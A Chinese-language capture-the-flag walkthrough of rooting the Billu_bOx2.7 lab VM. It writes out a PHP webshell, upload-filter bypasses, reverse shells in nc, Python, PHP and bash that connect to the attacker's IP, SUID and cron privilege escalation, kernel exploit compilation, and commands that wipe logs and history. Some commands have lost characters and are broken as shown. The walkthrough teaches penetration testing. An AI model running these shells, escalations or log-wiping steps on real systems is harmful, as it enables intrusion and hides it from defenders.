公司动态

Billu_bOx2.7靶机渗透实战:从信息收集到Root权限提升完整解析

📅 2026/7/26 8:07:19
Billu_bOx2.7靶机渗透实战:从信息收集到Root权限提升完整解析
1. 项目概述一次从零到Root的实战演练最近在安全圈里Billu_bOx2.7这个靶机又火了起来。它被很多朋友称为“Web渗透的经典综合试卷”原因无他这个靶机几乎囊括了从信息收集到权限提升的完整攻击链而且每个环节都设计得相当“刁钻”非常考验渗透测试者的基本功和思维发散能力。我自己也花了几个晚上从最初的端口扫描到最后的Root权限获取完整地走了一遍。整个过程就像在解一个设计精巧的谜题既有踩坑的懊恼也有突破的畅快。今天我就把这次完整的渗透测试过程连同每一步的思考、踩过的坑以及最终拿到所有Flag的详细步骤系统地梳理出来。无论你是刚入门Web安全的新手还是想巩固实战技能的老兵这篇记录都能提供一个清晰的、可复现的参考路径。这个靶机环境通常被部署在VMware或VirtualBox这类虚拟化平台上目标就是模拟一个存在多处漏洞的Web应用服务器。我们的任务就是扮演攻击者的角色运用各种技术手段发现并利用这些漏洞最终完全控制这台“靶机”拿到系统最高权限Root。整个过程会涉及信息收集、漏洞扫描、Web漏洞利用如SQL注入、文件上传、XXE、命令执行等、权限提升等多个阶段。下面我们就从最基础的网络发现开始一步步拆解。2. 环境搭建与信息收集渗透测试的第一步永远是“知己知彼”。在发起任何攻击之前我们必须先搞清楚目标是什么、在哪里、开放了哪些服务。2.1 靶机环境准备与网络发现首先你需要一个攻击机环境。最常用的自然是Kali Linux它集成了我们所需的大部分工具。将Billu_bOx2.7的虚拟机镜像导入VMware或VirtualBox后启动它并确保其网络设置为“桥接模式”或与你的Kali攻击机在同一NAT网络下。接下来就是找出靶机的IP地址。在Kali中打开终端我们使用netdiscover或nmap进行局域网主机发现。假设我的Kali IP是192.168.1.105那么同一网段可能就是192.168.1.0/24。sudo netdiscover -r 192.168.1.0/24或者使用更安静的nmap扫描sudo nmap -sn 192.168.1.0/24扫描结果中除了你已知的设备如你的物理机、路由器那个陌生的IP很可能就是靶机。在我的测试中靶机IP是192.168.1.108。记下这个IP它将是后续所有操作的目标。注意靶机的IP地址每次启动可能会变化这取决于你的DHCP服务器。所以每次开始测试前都需要重新进行这一步发现。2.2 全面的端口与服务探测知道了IP下一步就是进行详细的端口扫描摸清靶机对外开放了哪些“门户”。我们使用nmap进行全端口扫描和版本探测。sudo nmap -sV -sC -p- 192.168.1.108 -T4 -oN nmap_scan.txt-sV: 探测服务版本。-sC: 使用默认的Nmap脚本进行扫描能发现一些常见漏洞。-p-: 扫描所有65535个端口。-T4: 设置扫描速度T4是较快的速度在可控网络内使用。-oN: 将结果输出到文件nmap_scan.txt方便后续查看。扫描完成后我们得到了关键信息PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.9p1 Debian 10deb10u2 (protocol 2.0) 80/tcp open http Apache httpd 2.4.38 ((Debian))从结果看靶机只开放了两个端口22端口 (SSH): 运行着OpenSSH 7.9。这是一个远程管理协议通常是我们后期获取稳定shell或进行横向移动的通道。但直接爆破SSH密码在初期效率较低我们先记下。80端口 (HTTP): 运行着Apache 2.4.38。这是我们的主攻方向绝大多数Web漏洞都隐藏在这里。2.3 Web应用初步侦察与目录爆破既然80端口是Web服务我们自然要打开浏览器访问一下http://192.168.1.108。初次访问可能会看到一个简单的页面或者直接是Apache的默认页。Billu_bOx2.7靶机通常有一个自定义的Web应用。接下来使用工具对Web目录和文件进行暴力枚举寻找隐藏的入口点、后台管理页面、配置文件等。这里我选用gobuster它速度快字典丰富。gobuster dir -u http://192.168.1.108 -w /usr/share/wordlists/dirb/common.txt -x php,html,txt,zip,bak -t 50dir: 指定进行目录扫描模式。-u: 指定目标URL。-w: 指定字典文件这里用了Kali自带的common.txt。-x: 指定要尝试的文件扩展名。.php和.html是网页.txt和.bak可能是备份文件或配置文件.zip可能是源码包。-t: 指定线程数。扫描结果可能会发现一些有趣的路径例如/index.php/admin/(一个疑似后台的目录)/images//uploads/(文件上传功能)/phpmyadmin/(数据库管理界面这是一个常见突破口)/robots.txt(可能泄露目录信息)/config.php.bak(备份的配置文件可能包含数据库密码)实操心得目录爆破是信息收集的重中之重很多漏洞就藏在不起眼的路径里。不要只满足于默认字典可以尝试dirbuster的中型字典(directory-list-2.3-medium.txt)或者SecLists项目中的字典效果更好。同时一定要关注像.bak,.old,.swp这类备份文件它们往往是信息泄露的源头。3. 漏洞挖掘与利用突破Web防线在信息收集阶段我们发现了/phpmyadmin/和可能的备份文件。现在我们开始深入挖掘Web应用本身的漏洞。3.1 利用phpMyAdmin获取初步立足点访问http://192.168.1.108/phpmyadmin/果然看到了phpMyAdmin的登录界面。phpMyAdmin是MySQL数据库的Web管理工具如果配置不当或密码脆弱很容易成为突破口。思路一默认口令爆破尝试一些常见的默认账号密码组合如root/root,root/空密码,admin/admin等。但Billu_bOx2.7通常不会这么简单。思路二寻找数据库凭据泄露回顾目录扫描结果如果发现了类似config.php.bak,db_connect.php,settings.inc.php的文件一定要访问看看。访问http://192.168.1.108/config.php.bak幸运的话你会直接下载或看到一个包含数据库连接信息的文件。例如文件内容可能如下?php $dbhost localhost; $dbuser billu; $dbpass b0x_billu; $dbname billu; ?实操步骤用得到的账号密码(billu/b0x_billu)登录phpMyAdmin。登录成功后在左侧选择billu数据库。查看数据库中的表很可能会发现一个名为users或admin的表。浏览该表数据你就能看到网站后台管理员的用户名和密码通常是MD5哈希。使用在线网站如cmd5.com或本地工具如hashcat尝试破解这个MD5密码。如果密码不够复杂很快就能破解出来。假设我们破解出明文密码是admin123。重要提示直接在phpMyAdmin中执行SQL语句是更强大的方法。在SQL标签页输入SELECT * FROM users;即可查看数据。如果密码是加密的你可以尝试用MySQL内置函数MD5()生成一个你知道密码的哈希然后直接UPDATE用户表将管理员密码改成你生成的哈希。例如UPDATE users SET password MD5(newpassword) WHERE username admin;。这样你就可以用newpassword登录后台了。3.2 Web后台漏洞利用与命令执行用破解或修改后的管理员凭证登录之前发现的/admin/目录。进入后台后功能可能包括文章管理、用户管理、文件上传、系统设置等。关键突破口文件上传功能后台的文件上传功能是获取Webshell的绝佳途径。我们需要上传一个恶意的PHP文件俗称“一句话木马”从而在服务器上执行命令。制作Webshell创建一个名为shell.php的文件内容如下?php system($_GET[‘cmd’]); ?这个脚本会接收URL参数cmd的值并在服务器上执行它。绕过上传限制网站通常会对上传文件进行过滤比如检查扩展名不允许.php、检查文件内容是否包含?php、检查MIME类型等。扩展名绕过尝试修改扩展名如shell.php.jpg,shell.phtml,shell.php5,shell.phar。双扩展名绕过shell.php.jpg有些程序只检查最后一个扩展名。修改Content-Type通过Burp Suite拦截上传请求将Content-Type: application/x-php改为Content-Type: image/jpeg。利用解析漏洞例如Apache的mod_negotiation模块可能导致shell.php.jpg被解析为PHP文件如果shell.php不存在。上传与访问在Billu_bOx2.7中经过测试可能发现它只检查了扩展名。我们将shell.php改名为shell.php.jpg并上传成功返回了文件路径例如/uploads/shell.php.jpg。执行命令访问http://192.168.1.108/uploads/shell.php.jpg?cmdid。如果页面上显示了当前用户的uid和gid信息如uid33(www-data) gid33(www-data) groups33(www-data)恭喜你命令执行成功了这意味着你已经拥有了在Web服务器上以www-data用户身份执行命令的能力。另一种常见漏洞SQL注入获取后台密码如果文件上传走不通或者后台登录密码无法破解那么前台的SQL注入点可能就是另一个入口。使用sqlmap对发现的可疑参数如/index.php?id1进行自动化检测。sqlmap -u “http://192.168.1.108/index.php?id1” --batch --dbs如果存在注入sqlmap可以帮你枚举数据库、表、列最终拖出管理员账号密码流程与通过phpMyAdmin获取类似。3.3 获取交互式Shell与内网探测通过Webshell执行命令很不方便我们需要一个交互式的Shell比如bash或reverse shell。使用Netcat获取反向Shell在攻击机Kali上监听一个端口nc -lvnp 4444在Webshell中执行反向连接命令http://192.168.1.108/uploads/shell.php.jpg?cmdnc -e /bin/bash 192.168.1.105 4444如果靶机上没有nc或者nc不支持-e参数可以尝试其他方法。使用Python/PHP获取更稳定的ShellPythonpython3 -c ‘import socket,subprocess,os;ssocket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“192.168.1.105”,4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);psubprocess.call([“/bin/bash”,”-i”]);’PHPphp -r ‘$sockfsockopen(“192.168.1.105”,4444);exec(“/bin/bash -i 3 3 23”);’将这些长命令通过Webshell的cmd参数执行注意URL编码或者在Webshell里用echo命令写入一个临时文件再执行。成功接收到反向Shell后你就获得了一个基本的命令行环境。首先升级一下这个Shell使其更稳定、支持作业控制和历史记录。python3 -c ‘import pty; pty.spawn(“/bin/bash”)’ # 或者 script -qc /bin/bash /dev/null # 然后按 CtrlZ 挂起 # 在Kali终端输入stty raw -echo; fg # 再按一次回车现在我们以www-data用户身份在靶机内部了。可以进行初步的内网信息收集whoami/id: 查看当前用户和权限。uname -a: 查看系统内核版本。cat /etc/passwd: 查看系统用户。ifconfig或ip a: 查看内网IP或许有其他网段。netstat -antp: 查看网络连接和监听端口发现内部服务。ls -la /home: 查看有哪些用户目录里面可能有第一个Flag。4. 权限提升从www-data到Root拿到www-data的Shell只是万里长征第一步。这个用户权限很低无法读取/root目录下的最终Flag也无法进行系统级操作。我们需要进行权限提升Privilege Escalation。4.1 自动化信息收集与线索分析手动检查太慢我们使用自动化脚本快速收集可能存在的提权线索。最著名的工具是LinEnum.sh和linpeas.sh。将脚本上传到靶机在攻击机开启HTTP服务python3 -m http.server 8000在靶机Shell中下载wget http://192.168.1.105:8000/linpeas.sh如果wget没有可以用curl或者用Python的SimpleHTTPServer模块下载。运行脚本并分析chmod x linpeas.sh ./linpeas.shlinpeas会以彩色高亮形式输出高危发现例如SUID/SGID文件具有特殊权限的可执行文件如果配置不当可能被用来提权。Cron Jobs定时任务如果有任务以Root权限运行且我们可控可以借此提权。内核漏洞系统内核版本存在已知的公开漏洞Exploit。环境变量PATH等环境变量配置不安全。sudo权限当前用户能以Root身份无需密码运行哪些命令sudo -l。4.2 利用SUID文件提权linpeas的输出中SUID/SGID文件部分会被重点标红。我们关注那些不常见的、具有SUID权限的命令。常见的危险SUID程序包括find,vim,bash,nmap旧版本,more,less,man等。例如发现/usr/bin/find具有SUID权限并且属于Root。ls -la /usr/bin/find # 输出可能为-rwsr-xr-x 1 root root ... /usr/bin/finds位表示SUID。利用方法/usr/bin/find . -exec /bin/bash -p \; # 或者 /usr/bin/find / -name test -exec /bin/bash -p \;-exec参数允许执行命令-p参数让bash保留特权。执行后你会获得一个Root Shell。输入whoami验证应该显示root。其他SUID提权示例Nmap交互模式旧版Nmap有--interactive选项进入后可以执行!sh。Vim/Vivim -c ‘:! /bin/bash’或vim打开后输入:shell。Bashbash -p直接获得Root Shell如果Bash本身是SUID。4.3 利用Cron Jobs提权检查系统定时任务cat /etc/crontab ls -la /etc/cron.d/ /etc/cron.hourly/ /etc/cron.daily/ etc.寻找那些以Root权限运行并且脚本路径我们具有写入权限的任务。例如发现一个任务* * * * * root /opt/cleanup.sh而我们检查发现/opt/cleanup.sh这个文件www-data用户可以写入。ls -la /opt/cleanup.sh # 输出-rwxrwxrwx 1 root root ... /opt/cleanup.sh 权限777任何人可写利用方法备份原脚本可选。编辑/opt/cleanup.sh在文件开头或结尾加入我们的提权命令例如#!/bin/bash chmod s /bin/bash # 或者 bash -c ‘bash -i /dev/tcp/192.168.1.105/5555 01’等待Cron任务执行如果是每分钟一次很快。如果添加的是chmod s /bin/bash那么之后执行bash -p即可提权。如果是反向Shell则在攻击机监听对应端口。4.4 内核漏洞提权linpeas或手动执行uname -a会显示内核版本。例如Linux billu 4.19.0-16-amd64 ...。我们可以搜索该版本内核是否存在公开的提权漏洞。在攻击机上searchsploit linux 4.19.0 privilege escalation或者去exploit-db.com网站搜索。找到一个合适的漏洞利用代码Exploit例如Dirty PipeCVE-2022-0847或Dirty CowCVE-2016-5195的变种。利用步骤在攻击机找到Exploit源码通常是C语言例如45010.c。在攻击机编译如果跨平台需交叉编译或者直接将源码传到靶机编译。传源码wget http://192.168.1.105:8000/45010.c靶机编译gcc 45010.c -o exploit在靶机运行编译好的程序./exploit。如果漏洞利用成功通常会直接弹出一个Root Shell。注意事项内核漏洞利用有风险可能导致系统崩溃蓝屏/死机。在真实环境中需谨慎在靶机环境可以大胆尝试。另外有些Exploit需要根据目标系统稍作修改比如调整偏移量。5. 获取Flag与痕迹清理5.1 定位并读取Flag文件Billu_bOx2.7靶机通常内置了4个Flag分布在不同的路径代表不同的渗透阶段成果。Flag1 (Web Flag)通常在Web根目录下的某个文件或数据库中。可能在/var/www/html/flag.txt,/var/www/html/index.php源码注释里或者数据库的某个表中。用find命令搜索find /var/www -name “*flag*” -o -name “*.txt” | grep -i flag find / -name “flag*.txt” 2/dev/nullFlag2 (User Flag)在某个普通用户的目录下比如/home/billu/user.txt或/home/ubuntu/flag.txt。提权前你可能已经读到。Flag3 (Privilege Escalation Flag)在Root目录或需要Root权限才能读取的路径如/root/flag.txt,/root/proof.txt,/etc/root.txt。这需要你完成提权后才能获取。cat /root/flag.txtFlag4 (Final/System Flag)有时会有一个最终Flag可能藏在更隐蔽的地方或者需要结合多个漏洞才能拿到比如在数据库的某个特定表里或者需要破解一个密码才能访问的路径。仔细阅读每个Flag文件的内容有时会给出下一个Flag的提示。5.2 渗透测试后的基本痕迹清理仅限靶机练习在真实的渗透测试中获得客户授权后清理痕迹是必要步骤以避免被蓝队发现。在靶机练习中了解这些方法也很有必要但切勿在未授权环境中使用。清除命令历史Bash的历史记录保存在~/.bash_history。直接清空文件或退出前执行history -c rm ~/.bash_history unset HISTFILE清除Web日志Apache日志通常在/var/log/apache2/access.log和/var/log/apache2/error.log。可以删除或篡改与我们IP相关的记录。# 不推荐直接删除太明显。可以编辑文件删除特定行。 sed -i ‘/192.168.1.105/d’ /var/log/apache2/access.log清除Auth日志记录登录信息的/var/log/auth.log。如果通过SSH爆破或其他方式登录需要清理。sed -i ‘/www-data\|你的用户名/d’ /var/log/auth.log删除上传的Webshell和工具删除/uploads/shell.php.jpg以及上传的linpeas.sh、Exploit程序等。rm -f /var/www/html/uploads/shell.php.jpg /tmp/linpeas.sh /tmp/exploit恢复修改的系统文件如果你修改了/etc/passwd、/etc/shadow或Cron任务文件记得恢复原状。重要声明上述痕迹清理方法仅用于授权的渗透测试学习和靶机练习帮助理解攻击者的完整行为链。在未经授权的系统上进行任何操作都是非法的。6. 总结与反思从Billu_bOx2.7中学到的回顾整个Billu_bOx2.7的渗透过程它像一部经典的“黑客电影”串联了多个基础但关键的漏洞点。从信息收集发现phpMyAdmin和备份文件到利用弱口令/信息泄露进入后台从文件上传获取Webshell到利用SUID/Cron/内核漏洞完成提权。每一步都对应着现实世界中一种常见的安全疏忽。对我个人而言最大的收获不是拿到了Root权限而是在这个过程中反复锤炼的“思维模式”。比如当一条路走不通时如上传.php被禁要立刻思考有哪些绕过方法修改扩展名、双写、解析漏洞。当拿到一个低权限Shell时要像条件反射一样去运行sudo -l和上传linpeas.sh。这种将工具、命令和攻击链融会贯通的能力远比记忆单个漏洞的利用方式更重要。最后给正在学习的朋友一个建议不要满足于一次通关。尝试用不同的方法达到同一个目的。比如不用phpMyAdmin你能通过前台的SQL注入拿到后台密码吗不用文件上传你能通过其他漏洞比如命令注入拿到Shell吗不用那个SUID的find你能利用其他Cron任务或内核漏洞提权吗多路径探索才能真正理解漏洞的本质和防御的薄弱点。靶机练习的终点应该是你能够自己设计出这样一个环环相扣的漏洞环境那才是真正学透的标志。